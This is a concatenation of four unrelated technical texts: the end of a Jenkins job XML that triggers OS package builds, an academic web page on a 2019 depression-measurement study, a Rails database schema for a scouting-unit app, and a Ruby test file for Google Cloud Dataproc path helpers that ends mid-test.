            <buildAllNodesWithLabel>false</buildAllNodesWithLabel>
          </hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
        </configs>
      </buildStep>
      <runner class="org.jenkins_ci.plugins.run_condition.BuildStepRunner$DontRun" plugin="run-condition@1.0"/>
    </org.jenkinsci.plugins.conditionalbuildstep.singlestep.SingleConditionalBuilder>
    <org.jenkinsci.plugins.conditionalbuildstep.ConditionalBuilder plugin="conditional-buildstep@1.3.3">
      <runner class="org.jenkins_ci.plugins.run_condition.BuildStepRunner$DontRun" plugin="run-condition@1.0"/>
      <runCondition class="org.jenkins_ci.plugins.run_condition.core.StringsMatchCondition" plugin="run-condition@1.0">
        <arg1>${ENV,var="DISTRIBUTION"}</arg1>
        <arg2>all</arg2>
        <ignoreCase>false</ignoreCase>
      </runCondition>
      <conditionalbuilders>
        <hudson.plugins.parameterizedtrigger.TriggerBuilder plugin="parameterized-trigger@2.25">
          <configs>
            <hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
              <configs>
                <hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
                  <properties>RELEASE_VERSION=${RELEASE_VERSION}
PACKAGE_NUMBER=${PACKAGE_NUMBER}
BRANCH=${BRANCH}
CLIENT_PATH=${CLIENT_PATH}
REPOSITORY=${REPOSITORY}</properties>
                </hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
              </configs>
              <projects>zato-process-all-debian-packages</projects>
              <condition>ALWAYS</condition>
              <triggerWithNoParameters>false</triggerWithNoParameters>
              <block>
                <unstableThreshold>
                  <name>UNSTABLE</name>
                  <ordinal>1</ordinal>
                  <color>YELLOW</color>
                  <completeBuild>true</completeBuild>
                </unstableThreshold>
                <failureThreshold>
                  <name>FAILURE</name>
                  <ordinal>2</ordinal>
                  <color>RED</color>
                  <completeBuild>true</completeBuild>
                </failureThreshold>
              </block>
              <buildAllNodesWithLabel>false</buildAllNodesWithLabel>
            </hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
          </configs>
        </hudson.plugins.parameterizedtrigger.TriggerBuilder>
        <hudson.plugins.parameterizedtrigger.TriggerBuilder plugin="parameterized-trigger@2.25">
          <configs>
            <hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
              <configs>
                <hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
                  <properties>RELEASE_VERSION=${RELEASE_VERSION}
PACKAGE_NUMBER=${PACKAGE_NUMBER}
BRANCH=${BRANCH}
CLIENT_PATH=${CLIENT_PATH}
REPOSITORY=${REPOSITORY}</properties>
                </hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
              </configs>
              <projects>zato-process-all-ubuntu-packages</projects>
              <condition>ALWAYS</condition>
              <triggerWithNoParameters>false</triggerWithNoParameters>
              <block>
                <unstableThreshold>
                  <name>UNSTABLE</name>
                  <ordinal>1</ordinal>
                  <color>YELLOW</color>
                  <completeBuild>true</completeBuild>
                </unstableThreshold>
                <failureThreshold>
                  <name>FAILURE</name>
                  <ordinal>2</ordinal>
                  <color>RED</color>
                  <completeBuild>true</completeBuild>
                </failureThreshold>
              </block>
              <buildAllNodesWithLabel>false</buildAllNodesWithLabel>
            </hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
          </configs>
        </hudson.plugins.parameterizedtrigger.TriggerBuilder>
        <hudson.plugins.parameterizedtrigger.TriggerBuilder plugin="parameterized-trigger@2.25">
          <configs>
            <hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
              <configs>
                <hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
                  <properties>RELEASE_VERSION=${RELEASE_VERSION}
PACKAGE_NUMBER=${PACKAGE_NUMBER}
BRANCH=${BRANCH}
CLIENT_PATH=${CLIENT_PATH}
REPOSITORY=${REPOSITORY}</properties>
                </hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
              </configs>
              <projects>zato-process-all-rhel-packages</projects>
              <condition>ALWAYS</condition>
              <triggerWithNoParameters>false</triggerWithNoParameters>
              <block>
                <unstableThreshold>
                  <name>UNSTABLE</name>
                  <ordinal>1</ordinal>
                  <color>YELLOW</color>
                  <completeBuild>true</completeBuild>
                </unstableThreshold>
                <failureThreshold>
                  <name>FAILURE</name>
                  <ordinal>2</ordinal>
                  <color>RED</color>
                  <completeBuild>true</completeBuild>
                </failureThreshold>
              </block>
              <buildAllNodesWithLabel>false</buildAllNodesWithLabel>
            </hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
          </configs>
        </hudson.plugins.parameterizedtrigger.TriggerBuilder>
      </conditionalbuilders>
    </org.jenkinsci.plugins.conditionalbuildstep.ConditionalBuilder>
  </builders>
  <publishers/>
  <buildWrappers/>
</project>


text:
<!DOCTYPE html>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="generator" content="Source Themes Academic 4.8.0">

  <meta name="author" content="Corrado Caudek">

  <meta name="description" content="The results of two studies support the construct validity of the CSQ-SF and recommend the use of a composite score of negative cognitive style without internality">

  <link rel="alternate" hreflang="en-us" href="/publication/journal-article/2019_jbtep/">

  <meta name="theme-color" content="#2962ff">

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/academicons/1.8.6/css/academicons.min.css" integrity="sha256-uFVgMKfistnJAfoCUQigIl+JfUaP47GrRKjf6CTPVmw=" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.0-1/css/all.min.css" integrity="sha256-4w9DunooKSr3MFXHXWyFER38WmPdm361bQS/2KUWZbU=" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.css" integrity="sha256-Vzbj7sDDS/woiFS3uNKo8eIuni59rjyNGtXfstRzStA=" crossorigin="anonymous">

          <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/github.min.css" crossorigin="anonymous" title="hl-light">
          <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/dracula.min.css" crossorigin="anonymous" title="hl-dark" disabled>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/leaflet/1.5.1/leaflet.css" integrity="sha256-SHMGCYmST46SoyGgo4YR/9AlK1vf3ff84Aq9yK4hdqM=" crossorigin="anonymous">

      <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat:400,700%7CRoboto:400,400italic,700%7CRoboto+Mono&display=swap">

  <link rel="stylesheet" href="/css/academic.css">

  <link rel="manifest" href="/index.webmanifest">
  <link rel="icon" type="image/png" href="/images/icon_hu0b7a4cb9992c9ac0e91bd28ffd38dd00_9727_32x32_fill_lanczos_center_2.png">
  <link rel="apple-touch-icon" type="image/png" href="/images/icon_hu0b7a4cb9992c9ac0e91bd28ffd38dd00_9727_192x192_fill_lanczos_center_2.png">

  <link rel="canonical" href="/publication/journal-article/2019_jbtep/">

  <meta property="twitter:card" content="summary">

  <meta property="og:site_name" content="Don't worry - be safe!">
  <meta property="og:url" content="/publication/journal-article/2019_jbtep/">
  <meta property="og:title" content="Measuring cognitive vulnerability to depression: Further evidence on the factorial and predictive validity of negative cognitive style | Don't worry - be safe!">
  <meta property="og:description" content="The results of two studies support the construct validity of the CSQ-SF and recommend the use of a composite score of negative cognitive style without internality"><meta property="og:image" content="/images/icon_hu0b7a4cb9992c9ac0e91bd28ffd38dd00_9727_512x512_fill_lanczos_center_2.png">
  <meta property="twitter:image" content="/images/icon_hu0b7a4cb9992c9ac0e91bd28ffd38dd00_9727_512x512_fill_lanczos_center_2.png"><meta property="og:locale" content="en-us">

      <meta property="article:published_time" content="2019-12-01T00:00:00+00:00">

    <meta property="article:modified_time" content="2019-12-01T00:00:00+00:00">

  <title>Measuring cognitive vulnerability to depression: Further evidence on the factorial and predictive validity of negative cognitive style | Don't worry - be safe!</title>

Search

        <input name="q" id="search-query" placeholder="Search..." autocapitalize="off"
        autocomplete="off" autocorrect="off" spellcheck="false" type="search">

      Don't worry - be safe!

    <button type="button" class="navbar-toggler" data-toggle="collapse"
            data-target="#navbar-content" aria-controls="navbar" aria-expanded="false" aria-label="Toggle navigation">

    </button>

      Don't worry - be safe!

          Posts

          Projects

          Publications

          Courses

          Contact

            Light

            Dark

            Automatic

Measuring cognitive vulnerability to depression: Further evidence on the factorial and predictive validity of negative cognitive style

  Laura Giuntoli, Igor Marchetti, Anna Panzeri, Andrea Spoto, Giulio Vidotto, Corrado Caudek

    December 2019

  PDF

  DOI

Abstract

Background and objectives.
Previous research has provided insufficient evidence on the factorial validity of the negative cognitive style questionnaires, which is a problem for the validity of the total score’s computation. In Study 1, we focused on the relationship between internality and the other dimensions of negative cognitive style. In Study 2, we explored the predictive validity of negative cognitive style for negative interpretation bias.

Methods.
In Study 1, 770 participants completed the Cognitive Style Questionnaire – Short Form (CSQ-SF). In Study 2, from a prescreening data collection (N = 300) we selected participants with low (N = 40) and high (N = 32) cognitive vulnerability to depression who were primed with negative mood induction and who completed a generative interpretation task. Results. In Study 1, a confirmatory factor analysis (CFA) indicated that the best fitting model for the CSQ-SF was a bifactor model without the internality dimension. In Study 2, a CFA replicated the factorial structure of Study 1 and individuals with a high negative cognitive style exhibited a negative interpretation bias after controlling for depressive symptoms.

Limitations.
The university-age sample limited the generalizability of our results to different populations, and the lack of longitudinal data prevented us from discussing further implications on the relationship between the negative interpretation bias and negative cognitive style in predicting depression.

Conclusions.
Together, the results of our two studies support the construct validity of the CSQ-SF and recommend the use of a composite score of negative cognitive style without internality.

Type

              Journal article

Publication

Journal of Behavior Therapy and Experimental Psychiatry

  publications

Corrado Caudek

Psychometrics and Quantitative Psychology

Investigating cognitive processes and individual differences.

    Powered by the
    Academic theme for
    Hugo.

Cite

        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
          ×
        </button>

           Copy

           Download


text:
ActiveRecord::Schema.define(version: 20150409193328) do

  # These are extensions that must be enabled in order to support this database
  enable_extension "plpgsql"
  enable_extension "hstore"
  enable_extension "pg_trgm"

  create_table "activities", force: :cascade do |t|
    t.integer  "trackable_id"
    t.string   "trackable_type", limit: 255
    t.integer  "owner_id"
    t.string   "owner_type",     limit: 255
    t.string   "key",            limit: 255
    t.text     "parameters"
    t.integer  "recipient_id"
    t.string   "recipient_type", limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
    t.integer  "unit_id"
  end

  add_index "activities", ["owner_id", "owner_type"], name: "index_activities_on_owner_id_and_owner_type", using: :btree
  add_index "activities", ["recipient_id", "recipient_type"], name: "index_activities_on_recipient_id_and_recipient_type", using: :btree
  add_index "activities", ["trackable_id", "trackable_type"], name: "index_activities_on_trackable_id_and_trackable_type", using: :btree
  add_index "activities", ["unit_id"], name: "index_activities_on_unit_id", using: :btree

  create_table "ckeditor_assets", force: :cascade do |t|
    t.integer  "unit_id"
    t.string   "data_file_name",          limit: 255, null: false
    t.string   "data_content_type",       limit: 255
    t.integer  "data_file_size"
    t.string   "type",                    limit: 30
    t.integer  "width"
    t.integer  "height"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.string   "data_original_file_name", limit: 255
    t.integer  "user_id"
  end

  add_index "ckeditor_assets", ["type"], name: "index_ckeditor_assets_on_type", using: :btree
  add_index "ckeditor_assets", ["unit_id"], name: "index_ckeditor_assets_on_unit_id", using: :btree
  add_index "ckeditor_assets", ["updated_at"], name: "index_ckeditor_assets_on_updated_at", using: :btree
  add_index "ckeditor_assets", ["user_id"], name: "index_ckeditor_assets_on_user_id", using: :btree

  create_table "councils", force: :cascade do |t|
    t.string   "name",           limit: 255
    t.integer  "council_number"
    t.string   "state",          limit: 255
    t.string   "city",           limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "councils", ["council_number"], name: "index_councils_on_council_number", using: :btree
  add_index "councils", ["name"], name: "index_councils_on_name", using: :btree
  add_index "councils", ["state"], name: "index_councils_on_state", using: :btree

  create_table "counselors", force: :cascade do |t|
    t.integer  "merit_badge_id"
    t.integer  "user_id"
    t.integer  "unit_id"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "counselors", ["merit_badge_id", "user_id", "unit_id"], name: "index_counselors_on_merit_badge_id_and_user_id_and_unit_id", unique: true, using: :btree
  add_index "counselors", ["merit_badge_id"], name: "index_counselors_on_merit_badge_id", using: :btree
  add_index "counselors", ["unit_id"], name: "index_counselors_on_unit_id", using: :btree
  add_index "counselors", ["user_id"], name: "index_counselors_on_user_id", using: :btree

  create_table "delayed_jobs", force: :cascade do |t|
    t.integer  "priority",               default: 0
    t.integer  "attempts",               default: 0
    t.text     "handler"
    t.text     "last_error"
    t.datetime "run_at"
    t.datetime "locked_at"
    t.datetime "failed_at"
    t.string   "locked_by",  limit: 255
    t.string   "queue",      limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "delayed_jobs", ["priority", "run_at"], name: "delayed_jobs_priority", using: :btree

  create_table "email_attachments", force: :cascade do |t|
    t.integer  "email_message_id"
    t.string   "attachment",         limit: 255
    t.integer  "file_size"
    t.string   "content_type",       limit: 255
    t.string   "original_file_name", limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "email_attachments", ["email_message_id"], name: "index_email_attachments_on_email_message_id", using: :btree

  create_table "email_groups", force: :cascade do |t|
    t.integer  "unit_id"
    t.integer  "user_id"
    t.string   "name"
    t.text     "users_ids",   default: "--- []\n"
    t.boolean  "private"
    t.text     "description"
    t.datetime "created_at",                       null: false
    t.datetime "updated_at",                       null: false
  end

  add_index "email_groups", ["unit_id"], name: "index_email_groups_on_unit_id", using: :btree
  add_index "email_groups", ["user_id"], name: "index_email_groups_on_user_id", using: :btree

  create_table "email_messages", force: :cascade do |t|
    t.integer  "user_id"
    t.integer  "unit_id"
    t.text     "message"
    t.string   "subject",        limit: 255
    t.datetime "sent_at"
    t.string   "sub_unit_ids",   limit: 255, default: "--- []\n"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.integer  "send_to_option",             default: 1
    t.string   "id_token",       limit: 255
    t.text     "sent_to_hash",               default: "--- {}\n"
    t.datetime "deactivated_at"
    t.integer  "email_group_id"
  end

  add_index "email_messages", ["id_token"], name: "index_email_messages_on_id_token", using: :btree
  add_index "email_messages", ["sent_at"], name: "index_email_messages_on_sent_at", using: :btree
  add_index "email_messages", ["unit_id"], name: "index_email_messages_on_unit_id", using: :btree
  add_index "email_messages", ["updated_at"], name: "index_email_messages_on_updated_at", using: :btree
  add_index "email_messages", ["user_id"], name: "index_email_messages_on_user_id", using: :btree

  create_table "email_messages_events", id: false, force: :cascade do |t|
    t.integer "email_message_id"
    t.integer "event_id"
  end

  add_index "email_messages_events", ["email_message_id", "event_id"], name: "index_email_messages_events_on_email_message_id_and_event_id", using: :btree
  add_index "email_messages_events", ["event_id", "email_message_id"], name: "index_email_messages_events_on_event_id_and_email_message_id", using: :btree

  create_table "email_messages_users", id: false, force: :cascade do |t|
    t.integer "email_message_id"
    t.integer "user_id"
  end

  add_index "email_messages_users", ["email_message_id", "user_id"], name: "index_email_messages_users_on_email_message_id_and_user_id", using: :btree
  add_index "email_messages_users", ["user_id", "email_message_id"], name: "index_email_messages_users_on_user_id_and_email_message_id", using: :btree

  create_table "event_signups", force: :cascade do |t|
    t.integer  "event_id"
    t.integer  "scout_id"
    t.integer  "scouts_attending",   default: 0
    t.integer  "adults_attending",   default: 0
    t.integer  "siblings_attending", default: 0
    t.text     "comment"
    t.datetime "canceled_at"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.integer  "need_carpool_seats"
    t.integer  "has_carpool_seats"
    t.datetime "permission_at"
    t.integer  "permission_by"
    t.integer  "user_id"
  end

  add_index "event_signups", ["adults_attending"], name: "index_event_signups_on_adults_attending", using: :btree
  add_index "event_signups", ["event_id"], name: "index_event_signups_on_event_id", using: :btree
  add_index "event_signups", ["scout_id", "event_id"], name: "index_event_signups_on_scout_id_and_event_id", using: :btree
  add_index "event_signups", ["scouts_attending"], name: "index_event_signups_on_scouts_attending", using: :btree
  add_index "event_signups", ["siblings_attending"], name: "index_event_signups_on_siblings_attending", using: :btree
  add_index "event_signups", ["user_id"], name: "index_event_signups_on_user_id", using: :btree

  create_table "events", force: :cascade do |t|
    t.integer  "unit_id"
    t.string   "kind",                 limit: 255
    t.string   "name",                 limit: 255
    t.boolean  "send_reminders",                   default: true
    t.string   "notifier_type",        limit: 255
    t.datetime "start_at"
    t.datetime "end_at"
    t.boolean  "signup_required",                  default: false
    t.datetime "signup_deadline"
    t.string   "location_name",        limit: 255
    t.string   "location_address1",    limit: 255
    t.string   "location_address2",    limit: 255
    t.string   "location_city",        limit: 255
    t.string   "location_state",       limit: 255
    t.string   "location_zip_code",    limit: 255
    t.text     "location_map_url"
    t.string   "attire",               limit: 255
    t.text     "message"
    t.text     "fees"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.float    "latitude"
    t.float    "longitude"
    t.boolean  "gmaps"
    t.integer  "attendee_count",                   default: 0
    t.string   "signup_token",         limit: 255
    t.datetime "reminder_sent_at"
    t.string   "ical",                 limit: 255
    t.integer  "ical_file_size"
    t.string   "ical_content_type",    limit: 255
    t.datetime "ical_updated_at"
    t.integer  "ical_sequence",                    default: 0
    t.string   "ical_uuid",            limit: 255
    t.string   "sl_profile",           limit: 255
    t.string   "sl_uid",               limit: 255
    t.integer  "type_of_health_forms",             default: 0
    t.boolean  "consent_required"
    t.string   "form_coordinator_ids",             default: "--- []\n"
  end

  add_index "events", ["end_at"], name: "index_events_on_end_at", using: :btree
  add_index "events", ["kind"], name: "index_events_on_kind", using: :btree
  add_index "events", ["reminder_sent_at"], name: "index_events_on_reminder_sent_at", using: :btree
  add_index "events", ["send_reminders"], name: "index_events_on_send_reminders", using: :btree
  add_index "events", ["signup_deadline"], name: "index_events_on_signup_deadline", using: :btree
  add_index "events", ["signup_required"], name: "index_events_on_signup_required", using: :btree
  add_index "events", ["signup_token"], name: "index_events_on_signup_token", using: :btree
  add_index "events", ["start_at"], name: "index_events_on_start_at", using: :btree
  add_index "events", ["unit_id"], name: "index_events_on_unit_id", using: :btree
  add_index "events", ["updated_at"], name: "index_events_on_updated_at", using: :btree

  create_table "events_sub_units", id: false, force: :cascade do |t|
    t.integer "event_id"
    t.integer "sub_unit_id"
  end

  add_index "events_sub_units", ["event_id", "sub_unit_id"], name: "index_events_sub_units_on_event_id_and_sub_unit_id", using: :btree
  add_index "events_sub_units", ["sub_unit_id", "event_id"], name: "index_events_sub_units_on_sub_unit_id_and_event_id", using: :btree

  create_table "events_users", id: false, force: :cascade do |t|
    t.integer "event_id"
    t.integer "user_id"
  end

  add_index "events_users", ["event_id", "user_id"], name: "index_events_users_on_event_id_and_user_id", using: :btree
  add_index "events_users", ["user_id", "event_id"], name: "index_events_users_on_user_id_and_event_id", using: :btree

  create_table "health_forms", force: :cascade do |t|
    t.integer  "unit_id"
    t.integer  "user_id"
    t.date     "part_a_date"
    t.date     "part_b_date"
    t.date     "part_c_date"
    t.date     "florida_sea_base_date"
    t.date     "philmont_date"
    t.date     "northern_tier_date"
    t.date     "summit_tier_date"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "health_forms", ["unit_id"], name: "index_health_forms_on_unit_id", using: :btree
  add_index "health_forms", ["updated_at"], name: "index_health_forms_on_updated_at", using: :btree
  add_index "health_forms", ["user_id"], name: "index_health_forms_on_user_id", using: :btree

  create_table "merit_badges", force: :cascade do |t|
    t.string   "name",                     limit: 255
    t.string   "year_created",             limit: 255
    t.boolean  "eagle_required",                       default: false
    t.boolean  "discontinued",                         default: false
    t.string   "bsa_advancement_id",       limit: 255
    t.string   "patch_image_url",          limit: 255
    t.string   "mb_org_url",               limit: 255
    t.string   "mb_org_worksheet_pdf_url", limit: 255
    t.string   "mb_org_worksheet_doc_url", limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "merit_badges", ["name"], name: "index_merit_badges_on_name", using: :btree
  add_index "merit_badges", ["updated_at"], name: "index_merit_badges_on_updated_at", using: :btree

  create_table "notifiers", force: :cascade do |t|
    t.integer  "user_id"
    t.string   "kind",       limit: 255
    t.string   "account",    limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "notifiers", ["user_id"], name: "index_notifiers_on_user_id", using: :btree

  create_table "pages", force: :cascade do |t|
    t.string   "title",          limit: 255
    t.text     "body"
    t.integer  "position"
    t.integer  "unit_id"
    t.integer  "user_id"
    t.boolean  "public",                     default: false
    t.text     "update_history"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.boolean  "front_page",                 default: false
    t.datetime "deactivated_at"
  end

  add_index "pages", ["deactivated_at"], name: "index_pages_on_deactivated_at", using: :btree
  add_index "pages", ["position"], name: "index_pages_on_position", using: :btree
  add_index "pages", ["public"], name: "index_pages_on_public", using: :btree
  add_index "pages", ["unit_id"], name: "index_pages_on_unit_id", using: :btree
  add_index "pages", ["updated_at"], name: "index_pages_on_updated_at", using: :btree
  add_index "pages", ["user_id"], name: "index_pages_on_user_id", using: :btree

  create_table "phones", force: :cascade do |t|
    t.integer  "user_id"
    t.string   "number",     limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
    t.integer  "kind",                   default: 0
  end

  add_index "phones", ["user_id"], name: "index_phones_on_user_id", using: :btree

  create_table "sms_messages", force: :cascade do |t|
    t.integer  "user_id"
    t.integer  "unit_id"
    t.text     "message"
    t.datetime "sent_at"
    t.string   "sub_unit_ids",   limit: 255
    t.integer  "send_to_option",             default: 1
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "sms_messages", ["unit_id"], name: "index_sms_messages_on_unit_id", using: :btree
  add_index "sms_messages", ["user_id"], name: "index_sms_messages_on_user_id", using: :btree

  create_table "sms_messages_users", id: false, force: :cascade do |t|
    t.integer "sms_message_id"
    t.integer "user_id"
  end

  add_index "sms_messages_users", ["sms_message_id", "user_id"], name: "index_sms_messages_users_on_sms_message_id_and_user_id", using: :btree
  add_index "sms_messages_users", ["user_id", "sms_message_id"], name: "index_sms_messages_users_on_user_id_and_sms_message_id", using: :btree

  create_table "sub_units", force: :cascade do |t|
    t.integer  "unit_id"
    t.string   "name",        limit: 255
    t.text     "description"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "sub_units", ["unit_id"], name: "index_sub_units_on_unit_id", using: :btree
  add_index "sub_units", ["updated_at"], name: "index_sub_units_on_updated_at", using: :btree

  create_table "unit_positions", force: :cascade do |t|
    t.integer  "user_id"
    t.integer  "unit_id"
    t.string   "leadership", limit: 255
    t.string   "additional", limit: 255
    t.integer  "role",                   default: 0
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  add_index "unit_positions", ["user_id", "unit_id"], name: "index_unit_positions_on_user_id_and_unit_id", using: :btree

  create_table "units", force: :cascade do |t|
    t.string   "unit_type",                       limit: 255
    t.string   "unit_number",                     limit: 255
    t.string   "city",                            limit: 255
    t.string   "state",                           limit: 255
    t.string   "time_zone",                       limit: 255
    t.datetime "created_at"
    t.datetime "updated_at"
    t.string   "sl_uid",                          limit: 255
    t.string   "address1"
    t.string   "address2"
    t.string   "zip_code"
    t.string   "url_consent_form"
    t.boolean  "attach_consent_form",                         default: true
    t.integer  "use_consent_form",                            default: 1
    t.integer  "reply_to_default_user_id"
    t.string   "consent_form"
    t.datetime "consent_form_updated_at"
    t.integer  "consent_form_file_size"
    t.string   "consent_form_content_type"
    t.string   "consent_form_original_file_name"
    t.string   "home_name"
    t.string   "home_address1"
    t.string   "home_address2"
    t.string   "home_city"
    t.string   "home_state"
    t.string   "home_zip_code"
    t.string   "home_map_url"
    t.datetime "monthly_newsletter_sent_at"
    t.datetime "weekly_newsletter_sent_at"
    t.string   "health_form_coordinator_ids",                 default: "--- []\n"
  end

  create_table "units_users", id: false, force: :cascade do |t|
    t.integer "unit_id"
    t.integer "user_id"
  end

  add_index "units_users", ["unit_id", "user_id"], name: "index_units_users_on_unit_id_and_user_id", unique: true, using: :btree
  add_index "units_users", ["user_id", "unit_id"], name: "index_units_users_on_user_id_and_unit_id", unique: true, using: :btree

  create_table "user_relationships", id: false, force: :cascade do |t|
    t.integer "adult_id"
    t.integer "scout_id"
  end

  add_index "user_relationships", ["adult_id", "scout_id"], name: "index_user_relationships_on_adult_id_and_scout_id", using: :btree
  add_index "user_relationships", ["scout_id", "adult_id"], name: "index_user_relationships_on_scout_id_and_adult_id", using: :btree

  create_table "users", force: :cascade do |t|
    t.string   "email",                           limit: 255, default: ""
    t.string   "encrypted_password",              limit: 255, default: ""
    t.string   "reset_password_token",            limit: 255
    t.datetime "reset_password_sent_at"
    t.datetime "remember_created_at"
    t.integer  "sign_in_count",                               default: 0
    t.datetime "current_sign_in_at"
    t.datetime "last_sign_in_at"
    t.string   "current_sign_in_ip",              limit: 255
    t.string   "last_sign_in_ip",                 limit: 255
    t.string   "confirmation_token",              limit: 255
    t.datetime "confirmed_at"
    t.datetime "confirmation_sent_at"
    t.string   "unconfirmed_email",               limit: 255
    t.integer  "failed_attempts",                             default: 0
    t.string   "unlock_token",                    limit: 255
    t.datetime "locked_at"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.string   "first_name",                      limit: 255
    t.string   "last_name",                       limit: 255
    t.string   "address1",                        limit: 255
    t.string   "address2",                        limit: 255
    t.string   "city",                            limit: 255
    t.string   "state",                           limit: 255
    t.string   "zip_code",                        limit: 255
    t.date     "birth"
    t.string   "leadership_role",                 limit: 255
    t.string   "time_zone",                       limit: 255
    t.string   "type",                            limit: 255
    t.integer  "sub_unit_id"
    t.string   "rank",                            limit: 255
    t.boolean  "send_reminders",                              default: true
    t.datetime "deactivated_at"
    t.string   "leadership_position",             limit: 255
    t.string   "additional_leadership_positions", limit: 255
    t.string   "signup_token",                    limit: 255
    t.string   "sms_number",                      limit: 255
    t.datetime "sms_number_verified_at"
    t.boolean  "blast_email",                                 default: true
    t.boolean  "blast_sms"
    t.boolean  "event_reminder_email",                        default: true
    t.boolean  "event_reminder_sms"
    t.boolean  "signup_deadline_email",                       default: true
    t.boolean  "signup_deadline_sms"
    t.string   "picture",                         limit: 255
    t.integer  "picture_file_size"
    t.string   "picture_content_type",            limit: 255
    t.string   "picture_original_file_name",      limit: 255
    t.datetime "picture_updated_at"
    t.datetime "sms_verification_sent_at"
    t.string   "sl_profile",                      limit: 255
    t.string   "sl_uid",                          limit: 255
    t.string   "alternate_email",                 limit: 255
    t.string   "sms_provider",                    limit: 255
    t.boolean  "sms_message",                                 default: true
    t.boolean  "weekly_newsletter_email",                     default: true
    t.boolean  "monthly_newsletter_email",                    default: true
    t.integer  "role",                                        default: 10
  end

  add_index "users", ["additional_leadership_positions"], name: "index_users_on_additional_leadership_positions", using: :btree
  add_index "users", ["confirmation_token"], name: "index_users_on_confirmation_token", unique: true, using: :btree
  add_index "users", ["deactivated_at"], name: "index_users_on_deactivated_at", using: :btree
  add_index "users", ["email"], name: "index_users_on_email", using: :btree
  add_index "users", ["encrypted_password"], name: "index_users_on_encrypted_password", using: :btree
  add_index "users", ["leadership_position"], name: "index_users_on_leadership_position", using: :btree
  add_index "users", ["rank"], name: "index_users_on_rank", using: :btree
  add_index "users", ["reset_password_token"], name: "index_users_on_reset_password_token", unique: true, using: :btree
  add_index "users", ["role"], name: "index_users_on_role", using: :btree
  add_index "users", ["send_reminders"], name: "index_users_on_send_reminders", using: :btree
  add_index "users", ["signup_token"], name: "index_users_on_signup_token", using: :btree
  add_index "users", ["sub_unit_id"], name: "index_users_on_sub_unit_id", using: :btree
  add_index "users", ["type"], name: "index_users_on_type", using: :btree
  add_index "users", ["unlock_token"], name: "index_users_on_unlock_token", unique: true, using: :btree
  add_index "users", ["updated_at"], name: "index_users_on_updated_at", using: :btree

  add_foreign_key "email_groups", "units"
  add_foreign_key "email_groups", "users"
end


text:
require "helper"

require "gapic/grpc/service_stub"

require "google/cloud/dataproc/v1/workflow_template_service"

class ::Google::Cloud::Dataproc::V1::WorkflowTemplateService::ClientPathsTest < Minitest::Test
  def test_location_path
    grpc_channel = ::GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
    ::Gapic::ServiceStub.stub :new, nil do
      client = ::Google::Cloud::Dataproc::V1::WorkflowTemplateService::Client.new do |config|
        config.credentials = grpc_channel
      end

      path = client.location_path project: "value0", location: "value1"
      assert_equal "projects/value0/locations/value1", path
    end
  end

  def test_region_path
    grpc_channel = ::GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
    ::Gapic::ServiceStub.stub :new, nil do
      client = ::Google::Cloud::Dataproc::V1::WorkflowTemplateService::Client.new do |config|
        config.credentials = grpc_channel
      end

      path = client.region_path project: "value0", region: "value1"
      assert_equal "projects/value0/regions/value1", path
    end
  end

  def test_service_path
    grpc_channel = ::GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
    ::Gapic::ServiceStub.stub :new, nil do
      client = ::Google::Cloud::Dataproc::V1::WorkflowTemplateService::Client.new do |config|
        config.credentials = grpc_channel
      end

      path = client.service_path project: "value0", location: "value1", service: "value2"
      assert_equal "projects/value0/locations/value1/services/value2", path
    end
  end

  def test_workflow_template_path
    grpc_channel = ::GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
    ::Gapic::ServiceStub.stub :new, nil do
      client = ::Google::Cloud::Dataproc::V1::WorkflowTemplateService::Client.new do |config|
        config.credentials = grpc_channel
      end

      path = client.workflow_template_path project: "value0", region: "value1", workflow_template: "value2"
      assert_equal "projects/value0/regions/value1/workflowTemplates/value2", path

